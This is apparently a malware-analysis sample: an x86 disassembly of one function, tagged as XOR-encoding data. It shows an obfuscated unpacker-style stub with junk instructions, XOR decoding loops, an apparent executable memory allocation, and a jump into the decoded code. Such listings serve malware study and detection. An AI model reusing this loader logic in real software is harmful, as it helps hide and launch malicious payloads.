Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x68b54b02
sub edx, 1
or edx, edi
sub edx, 1
popal
sub edx, 1
dec edi
add edi, 0x20a9d933
mov esi, 0
mov edi, ecx
add ebx, 0x77c9a904
dec eax
mov eax, ebx
mov edx, edi
add eax, 0x50d76f1a
sub eax, 0xbf022424
dec ebx
mov ecx, edx
not ebx
add ebx, eax
inc esi
inc eax
mov ebx, 0xf0d5a26
cmp esi, 0x100fbcc
jne 0xa789d3
not ebx
add ebx, 1
sub edi, edx
dec edx
mov ecx, 0xa78796
and edx, eax
add ebx, eax
mov esi, 0xa7898a
not ebx
add eax, 0x97e834c5
and eax, ebx
mov edi, dword [ecx]
sub eax, 1
or ebx, eax
mov edx, 0x2e695b1f
and edi, 0xff
mov eax, 0x8f64b06d
sub ebx, 0xb4eb8dcd
xor dword [esi], edi
mov edx, eax
sub eax, 1
mov ebx, edx
add esi, 1
sub eax, 0xcb85cdbc
mov edx, ebx
inc ecx
mov ebx, eax
or ebx, eax
cmp esi, entry0
jl 0xa78a29
mov edx, eax
not ebx
mov ebx, 0xbba125a3
not ebx
add edi, edx
mov edx, 0xce5a2f2e
sub edx, 0xc225c9e0
mov ecx, 0xa7898e
add edx, 0x355ec068
sub edx, ebx
mov esi, edi
mov ecx, dword [ecx]
sub ebx, esi
add edi, 0xa263e40b
mov ecx, dword [ecx]
and edi, edi
dec edx
sub esp, 4
mov dword [esp], ecx
mov esi, 0x4a8c06c9
mov esi, edi
mov ecx, 0xa7898a
mov edx, 0xf299cc3d
sub edx, ebx
mov ecx, dword [ecx]
sub ebx, 0x31307369
and ebx, esi
mov ecx, dword [ecx]
sub esi, edx
mov edx, ebx
push 0xa78992
not ebx
sub edx, 0xda41c6fa
inc ebx
call ecx
and esi, edx
or edx, edi
mov ecx, dword [esp]
add esp, 4
sub esi, 0xf1827292
sub edi, 0x351a6188
push 0xa7899f
add edi, ebx
not esi
add esi, 0x8477d18b
sub esp, 4
mov dword [esp], eax
or ebx, ebx
mov edx, 0x35821918
and ebx, ebx
call ecx
sub esi, 0xbc8c9b53
inc edi
or esi, ebx
push 0x40
sub ebx, 0xe0370a7f
and edx, edi
and esi, edx
push 0x3000
or esi, edi
sub ebx, edx
mov edx, ebx
sub esp, 4
mov dword [esp], 0x2000093e
not ebx
or edi, ebx
sub edi, ebx
sub esp, 4
mov dword [esp], 0
sub ebx, esi
sub edx, 0xf0545570
not esi
call eax
not edx
not esi
and esi, esi
add eax, 0x200008a0
mov edx, 0xd09d84a7
add ebx, 1
mov ecx, 0xfaf63bb1
mov ebx, edi
mov edi, 0xc18a5462
and edx, ebx
mov dword [eax], ecx
add edi, ebx
add ebx, 0x98feac96
mov ecx, dword [eax]
sub ebx, esi
mov edx, ebx
cmp ecx, 0xfaf63bb1
je 0xa78ba6
mov ebx, 0
mov cl, byte [ebx]
mov edx, esi
mov edx, ebx
add esi, ebx
and ebx, edx
add edx, edx
dec edi
add edi, 1
mov ebx, section..reltc
add edi, 0xba26eff1
sub edi, edx
mov esi, 0xa78795
sub edx, 0x5f5ae5ab
sub edi, 1
mov ecx, 0
sub edi, edx
sub edi, 0x83433c1a
sub edi, 0x9794f8cf
mov eax, 0xa78796
and edi, edi
not edi
lea eax, [eax + ecx]
mov edx, 0x77d5da07
sub edx, 1
mov eax, dword [eax]
sub edi, 0xe92d525a
add edi, 0x370b249a
and eax, 0xff
sub edi, 0x7c91f195
add edi, 0x933021ae
inc ecx
mov edx, 0xcf8a5fd2
mov edx, edi
or edi, edi
cmp ecx, 0x1f4
jne 0xa78c36
mov ecx, 0
dec edx
and edi, edx
sub edi, edx
sub edi, edx
mov edi, edx
and edx, edx
xor dword [ebx], eax
dec edx
sub edx, 0x4e509d14
not edx
add ebx, 2
or edi, edx
sub edx, 0x3cccfc2c
dec edx
cmp ebx, esi
jl 0xa78be8
add edi, edx
sub edx, 0x18ce52e7
and edx, edi
mov edx, 0xe93d0421
sub edx, 0x2f66d118
add edx, 0xad36675d
mov ebx, section..reltc
add ecx, 0xd33ac0aa
sub esi, ecx
dec esi
mov edi, section..reltc
sub esi, 1
sub ecx, esi
add esi, esi
mov edx, 0xa78795
mov ecx, 0xa2b0db57
not ecx
mov eax, 0
sub ecx, 0xd93ebf03
add esi, 0x4b036b76
add esi, 0x244afa60
mov al, byte [edi]
sub ecx, 0x18aa0849
inc ecx
sub esi, 0xb19559ee
mov byte [ebx], al
sub esi, 0x81db9069
add ecx, ecx
inc ebx
sub ecx, 0x1f60ed4c
not esi
add edi, 2
sub esi, ecx
and esi, esi
mov ecx, esi
cmp edi, edx
jle 0xa78cbe
add ecx, 0x849b6b9f
sub esi, 0xae76a22d
sub esi, ecx
and edi, edx
mov edx, 0xdb978dbf
not edi
push 0x8dc6a0
dec edx
sub edx, edi
ret